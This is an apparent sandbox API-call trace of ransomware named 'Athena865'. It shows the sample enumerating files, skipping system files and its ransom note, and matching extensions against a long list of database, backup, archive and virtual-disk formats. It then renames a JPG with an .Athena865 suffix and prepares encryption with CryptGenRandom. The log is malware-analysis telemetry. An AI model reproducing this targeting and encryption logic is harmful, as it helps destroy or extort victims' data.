lstrcmpiW (lpString1="J0287644.JPG", lpString2=".dll") returned 1 [0129.937] lstrlenW (lpString=".lnk") returned 4 [0129.937] lstrcmpiW (lpString1="J0287644.JPG", lpString2=".lnk") returned 1 [0129.937] lstrlenW (lpString=".ini") returned 4 [0129.937] lstrcmpiW (lpString1="J0287644.JPG", lpString2=".ini") returned 1 [0129.937] lstrlenW (lpString=".sys") returned 4 [0129.937] lstrcmpiW (lpString1="J0287644.JPG", lpString2=".sys") returned 1 [0129.938] lstrlenW (lpString="J0287644.JPG") returned 12 [0129.938] lstrlenW (lpString="bak") returned 3 [0129.938] lstrcmpiW (lpString1="JPG", lpString2="bak") returned 1 [0129.938] lstrlenW (lpString="ba_") returned 3 [0129.938] lstrcmpiW (lpString1="JPG", lpString2="ba_") returned 1 [0129.938] lstrlenW (lpString="dbb") returned 3 [0129.938] lstrcmpiW (lpString1="JPG", lpString2="dbb") returned 1 [0129.938] lstrlenW (lpString="vmdk") returned 4 [0129.938] lstrcmpiW (lpString1=".JPG", lpString2="vmdk") returned -1 [0129.938] lstrlenW (lpString="rar") returned 3 [0129.938] lstrcmpiW (lpString1="JPG", lpString2="rar") returned -1 [0129.938] lstrlenW (lpString="zip") returned 3 [0129.938] lstrcmpiW (lpString1="JPG", lpString2="zip") returned -1 [0129.938] lstrlenW (lpString="tgz") returned 3 [0129.938] lstrcmpiW (lpString1="JPG", lpString2="tgz") returned -1 [0129.938] lstrlenW (lpString="vbox") returned 4 [0129.938] lstrcmpiW (lpString1=".JPG", lpString2="vbox") returned -1 [0129.938] lstrlenW (lpString="vdi") returned 3 [0129.938] lstrcmpiW (lpString1="JPG", lpString2="vdi") returned -1 [0129.938] lstrlenW (lpString="vhd") returned 3 [0129.938] lstrcmpiW (lpString1="JPG", lpString2="vhd") returned -1 [0129.938] lstrlenW (lpString="vhdx") returned 4 [0129.938] lstrcmpiW (lpString1=".JPG", lpString2="vhdx") returned -1 [0129.938] lstrlenW (lpString="avhd") returned 4 [0129.938] lstrcmpiW (lpString1=".JPG", lpString2="avhd") returned -1 [0129.938] lstrlenW (lpString="db") returned 2 [0129.939] lstrcmpiW (lpString1="PG", lpString2="db") returned 1 [0129.939] lstrlenW (lpString="db2") returned 3 [0129.939] lstrcmpiW (lpString1="JPG", lpString2="db2") returned 1 [0129.939] lstrlenW (lpString="db3") returned 3 [0129.939] lstrcmpiW (lpString1="JPG", lpString2="db3") returned 1 [0129.939] lstrlenW (lpString="dbf") returned 3 [0129.939] lstrcmpiW (lpString1="JPG", lpString2="dbf") returned 1 [0129.939] lstrlenW (lpString="mdf") returned 3 [0129.939] lstrcmpiW (lpString1="JPG", lpString2="mdf") returned -1 [0129.939] lstrlenW (lpString="mdb") returned 3 [0129.939] lstrcmpiW (lpString1="JPG", lpString2="mdb") returned -1 [0129.939] lstrlenW (lpString="sql") returned 3 [0129.939] lstrcmpiW (lpString1="JPG", lpString2="sql") returned -1 [0129.939] lstrlenW (lpString="sqlite") returned 6 [0129.939] lstrcmpiW (lpString1="44.JPG", lpString2="sqlite") returned -1 [0129.939] lstrlenW (lpString="sqlite3") returned 7 [0129.939] lstrcmpiW (lpString1="644.JPG", lpString2="sqlite3") returned -1 [0129.939] lstrlenW (lpString="sqlitedb") returned 8 [0129.939] lstrcmpiW (lpString1="7644.JPG", lpString2="sqlitedb") returned -1 [0129.939] lstrlenW (lpString="xml") returned 3 [0129.939] lstrcmpiW (lpString1="JPG", lpString2="xml") returned -1 [0129.939] lstrlenW (lpString="$er") returned 3 [0129.939] lstrcmpiW (lpString1="JPG", lpString2="$er") returned 1 [0129.939] lstrlenW (lpString="4dd") returned 3 [0129.939] lstrcmpiW (lpString1="JPG", lpString2="4dd") returned 1 [0129.939] lstrlenW (lpString="4dl") returned 3 [0129.939] lstrcmpiW (lpString1="JPG", lpString2="4dl") returned 1 [0129.940] lstrlenW (lpString="^^^") returned 3 [0129.940] lstrcmpiW (lpString1="JPG", lpString2="^^^") returned 1 [0129.940] lstrlenW (lpString="abs") returned 3 [0129.940] lstrcmpiW (lpString1="JPG", lpString2="abs") returned 1 [0129.940] lstrlenW (lpString="abx") returned 3 [0129.940] lstrcmpiW (lpString1="JPG", lpString2="abx") returned 1 [0129.940] lstrlenW (lpString="accdb") returned 5 [0129.940] lstrcmpiW (lpString1="4.JPG", lpString2="accdb") returned -1 [0129.940] lstrlenW (lpString="accdc") returned 5 [0129.940] lstrcmpiW (lpString1="4.JPG", lpString2="accdc") returned -1 [0129.940] lstrlenW (lpString="accde") returned 5 [0129.940] lstrcmpiW (lpString1="4.JPG", lpString2="accde") returned -1 [0129.940] lstrlenW (lpString="accdr") returned 5 [0129.940] lstrcmpiW (lpString1="4.JPG", lpString2="accdr") returned -1 [0129.940] lstrlenW (lpString="accdt") returned 5 [0129.940] lstrcmpiW (lpString1="4.JPG", lpString2="accdt") returned -1 [0129.940] lstrlenW (lpString="accdw") returned 5 [0129.940] lstrcmpiW (lpString1="4.JPG", lpString2="accdw") returned -1 [0129.940] lstrlenW (lpString="accft") returned 5 [0129.940] lstrcmpiW (lpString1="4.JPG", lpString2="accft") returned -1 [0129.940] lstrlenW (lpString="adb") returned 3 [0129.940] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0129.940] lstrlenW (lpString="adb") returned 3 [0129.940] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0129.940] lstrlenW (lpString="ade") returned 3 [0129.940] lstrcmpiW (lpString1="JPG", lpString2="ade") returned 1 [0129.941] lstrlenW (lpString="adf") returned 3 [0129.941] lstrcmpiW (lpString1="JPG", lpString2="adf") returned 1 [0129.941] lstrlenW (lpString="adn") returned 3 [0129.941] lstrcmpiW (lpString1="JPG", lpString2="adn") returned 1 [0129.941] lstrlenW (lpString="adp") returned 3 [0129.941] lstrcmpiW (lpString1="JPG", lpString2="adp") returned 1 [0129.941] lstrlenW (lpString="alf") returned 3 [0129.941] lstrcmpiW (lpString1="JPG", lpString2="alf") returned 1 [0129.941] lstrlenW (lpString="ask") returned 3 [0129.941] lstrcmpiW (lpString1="JPG", lpString2="ask") returned 1 [0129.941] lstrlenW (lpString="btr") returned 3 [0129.941] lstrcmpiW (lpString1="JPG", lpString2="btr") returned 1 [0129.941] lstrlenW (lpString="cat") returned 3 [0129.941] lstrcmpiW (lpString1="JPG", lpString2="cat") returned 1 [0129.941] lstrlenW (lpString="cdb") returned 3 [0129.941] lstrcmpiW (lpString1="JPG", lpString2="cdb") returned 1 [0129.941] lstrlenW (lpString="ckp") returned 3 [0129.941] lstrcmpiW (lpString1="JPG", lpString2="ckp") returned 1 [0129.941] lstrlenW (lpString="cma") returned 3 [0129.941] lstrcmpiW (lpString1="JPG", lpString2="cma") returned 1 [0129.941] lstrlenW (lpString="cpd") returned 3 [0129.941] lstrcmpiW (lpString1="JPG", lpString2="cpd") returned 1 [0129.941] lstrlenW (lpString="dacpac") returned 6 [0129.941] lstrcmpiW (lpString1="44.JPG", lpString2="dacpac") returned -1 [0129.941] lstrlenW (lpString="dad") returned 3 [0129.941] lstrcmpiW (lpString1="JPG", lpString2="dad") returned 1 [0129.941] lstrlenW (lpString="dadiagrams") returned 10 [0129.942] lstrcmpiW (lpString1="287644.JPG", lpString2="dadiagrams") returned -1 [0129.942] lstrlenW (lpString="daschema") returned 8 [0129.942] lstrcmpiW (lpString1="7644.JPG", lpString2="daschema") returned -1 [0129.942] lstrlenW (lpString="db-journal") returned 10 [0129.942] lstrcmpiW (lpString1="287644.JPG", lpString2="db-journal") returned -1 [0129.942] lstrlenW (lpString="db-shm") returned 6 [0129.942] lstrcmpiW (lpString1="44.JPG", lpString2="db-shm") returned -1 [0129.942] lstrlenW (lpString="db-wal") returned 6 [0129.942] lstrcmpiW (lpString1="44.JPG", lpString2="db-wal") returned -1 [0129.942] lstrlenW (lpString="dbc") returned 3 [0129.942] lstrcmpiW (lpString1="JPG", lpString2="dbc") returned 1 [0129.942] lstrlenW (lpString="dbs") returned 3 [0129.942] lstrcmpiW (lpString1="JPG", lpString2="dbs") returned 1 [0129.942] lstrlenW (lpString="dbt") returned 3 [0129.942] lstrcmpiW (lpString1="JPG", lpString2="dbt") returned 1 [0129.942] lstrlenW (lpString="dbv") returned 3 [0129.942] lstrcmpiW (lpString1="JPG", lpString2="dbv") returned 1 [0129.942] lstrlenW (lpString="dbx") returned 3 [0129.942] lstrcmpiW (lpString1="JPG", lpString2="dbx") returned 1 [0129.942] lstrlenW (lpString="dcb") returned 3 [0129.942] lstrcmpiW (lpString1="JPG", lpString2="dcb") returned 1 [0129.942] lstrcmpiW (lpString1="JPG", lpString2="dct") returned 1 [0129.943] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.Athena865") returned 73 [0129.943] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg.athena865"), dwFlags=0x1) returned 1 [0129.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.944] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17349) returned 1 [0129.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.945] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.945] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.945] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.946] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x46d0, lpName=0x0) returned 0x154 [0129.948] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x46d0) returned 0x100000 [0129.960] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.970] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.971] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.973] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.973] CloseHandle (hObject=0x154) returned 1 [0129.973] CloseHandle (hObject=0x17c) returned 1 [0129.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.973] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x8d86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287645.JPG", cAlternateFileName="")) returned 1 [0129.974] lstrcmpiW (lpString1="J0287645.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.974] lstrcmpiW (lpString1="J0287645.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.974] lstrcmpiW (lpString1="J0287645.JPG", lpString2=".") returned 1 [0129.974] lstrcmpiW (lpString1="J0287645.JPG", lpString2="..") returned 1 [0129.974] lstrcmpiW (lpString1="J0287645.JPG", lpString2="windows") returned -1 [0129.974] lstrcmpiW (lpString1="J0287645.JPG", lpString2="bootmgr") returned 1 [0129.974] lstrcmpiW (lpString1="J0287645.JPG", lpString2="temp") returned -1 [0129.974] lstrcmpiW (lpString1="J0287645.JPG", lpString2="pagefile.sys") returned -1 [0129.974] lstrcmpiW (lpString1="J0287645.JPG", lpString2="boot") returned 1 [0129.974] lstrcmpiW (lpString1="J0287645.JPG", lpString2="ids.txt") returned 1 [0129.974] lstrcmpiW (lpString1="J0287645.JPG", lpString2="ntuser.dat") returned -1 [0129.974] lstrcmpiW (lpString1="J0287645.JPG", lpString2="perflogs") returned -1 [0129.974] lstrcmpiW (lpString1="J0287645.JPG", lpString2="MSBuild") returned -1 [0129.974] lstrlenW (lpString="J0287645.JPG") returned 12 [0129.974] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0287645.JPG" | out: lpString1="J0287645.JPG") returned="J0287645.JPG" [0129.974] lstrlenW (lpString="J0287645.JPG") returned 12 [0129.974] lstrlenW (lpString="Athena865") returned 9 [0129.974] lstrcmpiW (lpString1="87645.JPG", lpString2="Athena865") returned -1 [0129.974] lstrlenW (lpString=".dll") returned 4 [0129.974] lstrcmpiW (lpString1="J0287645.JPG", lpString2=".dll") returned 1 [0129.974] lstrlenW (lpString=".lnk") returned 4 [0129.974] lstrcmpiW (lpString1="J0287645.JPG", lpString2=".lnk") returned 1 [0129.974] lstrlenW (lpString=".ini") returned 4 [0129.974] lstrcmpiW (lpString1="J0287645.JPG", lpString2=".ini") returned 1 [0129.975] lstrlenW (lpString=".sys") returned 4 [0129.975] lstrcmpiW (lpString1="J0287645.JPG", lpString2=".sys") returned 1 [0129.975] lstrlenW (lpString="J0287645.JPG") returned 12 [0129.975] lstrlenW (lpString="bak") returned 3 [0129.975] lstrcmpiW (lpString1="JPG", lpString2="bak") returned 1 [0129.975] lstrlenW (lpString="ba_") returned 3 [0129.975] lstrcmpiW (lpString1="JPG", lpString2="ba_") returned 1 [0129.975] lstrlenW (lpString="dbb") returned 3 [0129.975] lstrcmpiW (lpString1="JPG", lpString2="dbb") returned 1 [0129.975] lstrlenW (lpString="vmdk") returned 4 [0129.975] lstrcmpiW (lpString1=".JPG", lpString2="vmdk") returned -1 [0129.975] lstrlenW (lpString="rar") returned 3 [0129.975] lstrcmpiW (lpString1="JPG", lpString2="rar") returned -1 [0129.975] lstrlenW (lpString="zip") returned 3 [0129.975] lstrcmpiW (lpString1="JPG", lpString2="zip") returned -1 [0129.975] lstrlenW (lpString="tgz") returned 3 [0129.975] lstrcmpiW (lpString1="JPG", lpString2="tgz") returned -1 [0129.975] lstrlenW (lpString="vbox") returned 4 [0129.975] lstrcmpiW (lpString1=".JPG", lpString2="vbox") returned -1 [0129.975] lstrlenW (lpString="vdi") returned 3 [0129.975] lstrcmpiW (lpString1="JPG", lpString2="vdi") returned -1 [0129.975] lstrlenW (lpString="vhd") returned 3 [0129.975] lstrcmpiW (lpString1="JPG", lpString2="vhd") returned -1 [0129.975] lstrlenW (lpString="vhdx") returned 4 [0129.975] lstrcmpiW (lpString1=".JPG", lpString2="vhdx") returned -1 [0129.976] lstrlenW (lpString="avhd") returned 4 [0129.976] lstrcmpiW (lpString1=".JPG", lpString2="avhd") returned -1 [0129.976] lstrlenW (lpString="db") returned 2 [0129.976] lstrcmpiW (lpString1="PG", lpString2="db") returned 1 [0129.976] lstrlenW (lpString="db2") returned 3 [0129.976] lstrcmpiW (lpString1="JPG", lpString2="db2") returned 1 [0129.976] lstrlenW (lpString="db3") returned 3 [0129.976] lstrcmpiW (lpString1="JPG", lpString2="db3") returned 1 [0129.976] lstrlenW (lpString="dbf") returned 3 [0129.976] lstrcmpiW (lpString1="JPG", lpString2="dbf") returned 1 [0129.976] lstrlenW (lpString="mdf") returned 3 [0129.976] lstrcmpiW (lpString1="JPG", lpString2="mdf") returned -1 [0129.976] lstrlenW (lpString="mdb") returned 3 [0129.976] lstrcmpiW (lpString1="JPG", lpString2="mdb") returned -1 [0129.976] lstrlenW (lpString="sql") returned 3 [0129.976] lstrcmpiW (lpString1="JPG", lpString2="sql") returned -1 [0129.976] lstrlenW (lpString="sqlite") returned 6 [0129.976] lstrcmpiW (lpString1="45.JPG", lpString2="sqlite") returned -1 [0129.976] lstrlenW (lpString="sqlite3") returned 7 [0129.976] lstrcmpiW (lpString1="645.JPG", lpString2="sqlite3") returned -1 [0129.976] lstrlenW (lpString="sqlitedb") returned 8 [0129.976] lstrcmpiW (lpString1="7645.JPG", lpString2="sqlitedb") returned -1 [0129.976] lstrlenW (lpString="xml") returned 3 [0129.976] lstrcmpiW (lpString1="JPG", lpString2="xml") returned -1 [0129.976] lstrlenW (lpString="$er") returned 3 [0129.976] lstrcmpiW (lpString1="JPG", lpString2="$er") returned 1 [0129.976] lstrlenW (lpString="4dd") returned 3 [0129.977] lstrcmpiW (lpString1="JPG", lpString2="4dd") returned 1 [0129.977] lstrlenW (lpString="4dl") returned 3 [0129.977] lstrcmpiW (lpString1="JPG", lpString2="4dl") returned 1 [0129.977] lstrlenW (lpString="^^^") returned 3 [0129.977] lstrcmpiW (lpString1="JPG", lpString2="^^^") returned 1 [0129.977] lstrlenW (lpString="abs") returned 3 [0129.977] lstrcmpiW (lpString1="JPG", lpString2="abs") returned 1 [0129.977] lstrlenW (lpString="abx") returned 3 [0129.977] lstrcmpiW (lpString1="JPG", lpString2="abx") returned 1 [0129.977] lstrlenW (lpString="accdb") returned 5 [0129.977] lstrcmpiW (lpString1="5.JPG", lpString2="accdb") returned -1 [0129.977] lstrlenW (lpString="accdc") returned 5 [0129.977] lstrcmpiW (lpString1="5.JPG", lpString2="accdc") returned -1 [0129.977] lstrlenW (lpString="accde") returned 5 [0129.977] lstrcmpiW (lpString1="5.JPG", lpString2="accde") returned -1 [0129.977] lstrlenW (lpString="accdr") returned 5 [0129.977] lstrcmpiW (lpString1="5.JPG", lpString2="accdr") returned -1 [0129.977] lstrlenW (lpString="accdt") returned 5 [0129.977] lstrcmpiW (lpString1="5.JPG", lpString2="accdt") returned -1 [0129.977] lstrlenW (lpString="accdw") returned 5 [0129.977] lstrcmpiW (lpString1="5.JPG", lpString2="accdw") returned -1 [0129.977] lstrlenW (lpString="accft") returned 5 [0129.977] lstrcmpiW (lpString1="5.JPG", lpString2="accft") returned -1 [0129.977] lstrlenW (lpString="adb") returned 3 [0129.977] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0129.977] lstrlenW (lpString="adb") returned 3 [0129.978] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0129.978] lstrlenW (lpString="ade") returned 3 [0129.978] lstrcmpiW (lpString1="JPG", lpString2="ade") returned 1 [0129.978] lstrlenW (lpString="adf") returned 3 [0129.978] lstrcmpiW (lpString1="JPG", lpString2="adf") returned 1 [0129.978] lstrlenW (lpString="adn") returned 3 [0129.978] lstrcmpiW (lpString1="JPG", lpString2="adn") returned 1 [0129.978] lstrlenW (lpString="adp") returned 3 [0129.978] lstrcmpiW (lpString1="JPG", lpString2="adp") returned 1 [0129.978] lstrlenW (lpString="alf") returned 3 [0129.978] lstrcmpiW (lpString1="JPG", lpString2="alf") returned 1 [0129.978] lstrlenW (lpString="ask") returned 3 [0129.978] lstrcmpiW (lpString1="JPG", lpString2="ask") returned 1 [0129.978] lstrlenW (lpString="btr") returned 3 [0129.978] lstrcmpiW (lpString1="JPG", lpString2="btr") returned 1 [0129.978] lstrlenW (lpString="cat") returned 3 [0129.978] lstrcmpiW (lpString1="JPG", lpString2="cat") returned 1 [0129.978] lstrlenW (lpString="cdb") returned 3 [0129.978] lstrcmpiW (lpString1="JPG", lpString2="cdb") returned 1 [0129.978] lstrlenW (lpString="ckp") returned 3 [0129.978] lstrcmpiW (lpString1="JPG", lpString2="ckp") returned 1 [0129.978] lstrlenW (lpString="cma") returned 3 [0129.978] lstrcmpiW (lpString1="JPG", lpString2="cma") returned 1 [0129.978] lstrlenW (lpString="cpd") returned 3 [0129.978] lstrcmpiW (lpString1="JPG", lpString2="cpd") returned 1 [0129.978] lstrlenW (lpString="dacpac") returned 6 [0129.978] lstrcmpiW (lpString1="45.JPG", lpString2="dacpac") returned -1 [0129.979] lstrlenW (lpString="dad") returned 3 [0129.979] lstrcmpiW (lpString1="JPG", lpString2="dad") returned 1 [0129.979] lstrlenW (lpString="dadiagrams") returned 10 [0129.979] lstrcmpiW (lpString1="287645.JPG", lpString2="dadiagrams") returned -1 [0129.979] lstrlenW (lpString="daschema") returned 8 [0129.979] lstrcmpiW (lpString1="7645.JPG", lpString2="daschema") returned -1 [0129.979] lstrlenW (lpString="db-journal") returned 10 [0129.979] lstrcmpiW (lpString1="287645.JPG", lpString2="db-journal") returned -1 [0129.979] lstrlenW (lpString="db-shm") returned 6 [0129.979] lstrcmpiW (lpString1="45.JPG", lpString2="db-shm") returned -1 [0129.979] lstrlenW (lpString="db-wal") returned 6 [0129.979] lstrcmpiW (lpString1="45.JPG", lpString2="db-wal") returned -1 [0129.979] lstrlenW (lpString="dbc") returned 3 [0129.979] lstrcmpiW (lpString1="JPG", lpString2="dbc") returned 1 [0129.979] lstrlenW (lpString="dbs") returned 3 [0129.979] lstrcmpiW (lpString1="JPG", lpString2="dbs") returned 1 [0129.979] lstrlenW (lpString="dbt") returned 3 [0129.979] lstrcmpiW (lpString1="JPG", lpString2="dbt") returned 1 [0129.979] lstrlenW (lpString="dbv") returned 3 [0129.979] lstrcmpiW (lpString1="JPG", lpString2="dbv") returned 1 [0129.979] lstrlenW (lpString="dbx") returned 3 [0129.979] lstrcmpiW (lpString1="JPG", lpString2="dbx") returned 1 [0129.979] lstrlenW (lpString="dcb") returned 3 [0129.979] lstrcmpiW (lpString1="JPG", lpString2="dcb") returned 1 [0129.979] lstrlenW (lpString="dct") returned 3 [0129.979] lstrcmpiW (lpString1="JPG", lpString2="dct") returned 1 [0129.979] lstrlenW (lpString="dcx") returned 3 [0129.980] lstrcmpiW (lpString1="JPG", lpString2="dcx") returned 1 [0129.980] lstrlenW (lpString="ddl") returned 3 [0129.980] lstrcmpiW (lpString1="JPG", lpString2="ddl") returned 1 [0129.980] lstrlenW (lpString="dlis") returned 4 [0129.980] lstrcmpiW (lpString1=".JPG", lpString2="dlis") returned -1 [0129.980] lstrlenW (lpString="dp1") returned 3 [0129.980] lstrcmpiW (lpString1="JPG", lpString2="dp1") returned 1 [0129.980] lstrlenW (lpString="dqy") returned 3 [0129.980] lstrcmpiW (lpString1="JPG", lpString2="dqy") returned 1 [0129.980] lstrlenW (lpString="dsk") returned 3 [0129.980] lstrcmpiW (lpString1="JPG", lpString2="dsk") returned 1 [0129.980] lstrlenW (lpString="dsn") returned 3 [0129.980] lstrcmpiW (lpString1="JPG", lpString2="dsn") returned 1 [0129.980] lstrlenW (lpString="dtsx") returned 4 [0129.980] lstrcmpiW (lpString1=".JPG", lpString2="dtsx") returned -1 [0129.980] lstrlenW (lpString="dxl") returned 3 [0129.980] lstrcmpiW (lpString1="JPG", lpString2="dxl") returned 1 [0129.980] lstrlenW (lpString="eco") returned 3 [0129.980] lstrcmpiW (lpString1="JPG", lpString2="eco") returned 1 [0129.980] lstrlenW (lpString="ecx") returned 3 [0129.980] lstrcmpiW (lpString1="JPG", lpString2="ecx") returned 1 [0129.980] lstrlenW (lpString="edb") returned 3 [0129.980] lstrcmpiW (lpString1="JPG", lpString2="edb") returned 1 [0129.980] lstrlenW (lpString="epim") returned 4 [0129.980] lstrcmpiW (lpString1=".JPG", lpString2="epim") returned -1 [0129.980] lstrlenW (lpString="fcd") returned 3 [0129.981] lstrcmpiW (lpString1="JPG", lpString2="fcd") returned 1 [0129.981] lstrlenW (lpString="fdb") returned 3 [0129.981] lstrcmpiW (lpString1="JPG", lpString2="fdb") returned 1 [0129.981] lstrlenW (lpString="fic") returned 3 [0129.981] lstrcmpiW (lpString1="JPG", lpString2="fic") returned 1 [0129.981] lstrlenW (lpString="flexolibrary") returned 12 [0129.981] lstrlenW (lpString="fm5") returned 3 [0129.981] lstrcmpiW (lpString1="JPG", lpString2="fm5") returned 1 [0129.981] lstrlenW (lpString="fmp") returned 3 [0129.981] lstrcmpiW (lpString1="JPG", lpString2="fmp") returned 1 [0129.981] lstrlenW (lpString="fmp12") returned 5 [0129.981] lstrcmpiW (lpString1="5.JPG", lpString2="fmp12") returned -1 [0129.981] lstrlenW (lpString="fmpsl") returned 5 [0129.981] lstrcmpiW (lpString1="5.JPG", lpString2="fmpsl") returned -1 [0129.981] lstrlenW (lpString="fol") returned 3 [0129.981] lstrcmpiW (lpString1="JPG", lpString2="fol") returned 1 [0129.981] lstrlenW (lpString="fp3") returned 3 [0129.981] lstrcmpiW (lpString1="JPG", lpString2="fp3") returned 1 [0129.981] lstrlenW (lpString="fp4") returned 3 [0129.981] lstrcmpiW (lpString1="JPG", lpString2="fp4") returned 1 [0129.981] lstrlenW (lpString="fp5") returned 3 [0129.981] lstrcmpiW (lpString1="JPG", lpString2="fp5") returned 1 [0129.981] lstrlenW (lpString="fp7") returned 3 [0129.981] lstrcmpiW (lpString1="JPG", lpString2="fp7") returned 1 [0129.981] lstrlenW (lpString="fpt") returned 3 [0129.981] lstrcmpiW (lpString1="JPG", lpString2="fpt") returned 1 [0129.982] lstrlenW (lpString="frm") returned 3 [0129.982] lstrcmpiW (lpString1="JPG", lpString2="frm") returned 1 [0129.982] lstrlenW (lpString="gdb") returned 3 [0129.982] lstrcmpiW (lpString1="JPG", lpString2="gdb") returned 1 [0129.982] lstrlenW (lpString="gdb") returned 3 [0129.982] lstrcmpiW (lpString1="JPG", lpString2="gdb") returned 1 [0129.982] lstrlenW (lpString="grdb") returned 4 [0129.982] lstrcmpiW (lpString1=".JPG", lpString2="grdb") returned -1 [0129.982] lstrlenW (lpString="gwi") returned 3 [0129.982] lstrcmpiW (lpString1="JPG", lpString2="gwi") returned 1 [0129.982] lstrlenW (lpString="hdb") returned 3 [0129.982] lstrcmpiW (lpString1="JPG", lpString2="hdb") returned 1 [0129.982] lstrlenW (lpString="his") returned 3 [0129.982] lstrcmpiW (lpString1="JPG", lpString2="his") returned 1 [0129.982] lstrlenW (lpString="ib") returned 2 [0129.982] lstrcmpiW (lpString1="PG", lpString2="ib") returned 1 [0129.982] lstrlenW (lpString="idb") returned 3 [0129.982] lstrcmpiW (lpString1="JPG", lpString2="idb") returned 1 [0129.982] lstrlenW (lpString="ihx") returned 3 [0129.982] lstrcmpiW (lpString1="JPG", lpString2="ihx") returned 1 [0129.982] lstrlenW (lpString="itdb") returned 4 [0129.982] lstrcmpiW (lpString1=".JPG", lpString2="itdb") returned -1 [0129.982] lstrlenW (lpString="itw") returned 3 [0129.982] lstrcmpiW (lpString1="JPG", lpString2="itw") returned 1 [0129.982] lstrlenW (lpString="jet") returned 3 [0129.982] lstrcmpiW (lpString1="JPG", lpString2="jet") returned 1 [0129.983] lstrlenW (lpString="jtx") returned 3 [0129.983] lstrcmpiW (lpString1="JPG", lpString2="jtx") returned -1 [0129.983] lstrlenW (lpString="kdb") returned 3 [0129.983] lstrcmpiW (lpString1="JPG", lpString2="kdb") returned -1 [0129.983] lstrlenW (lpString="kexi") returned 4 [0129.983] lstrcmpiW (lpString1=".JPG", lpString2="kexi") returned -1 [0129.983] lstrlenW (lpString="kexic") returned 5 [0129.983] lstrcmpiW (lpString1="5.JPG", lpString2="kexic") returned -1 [0129.983] lstrlenW 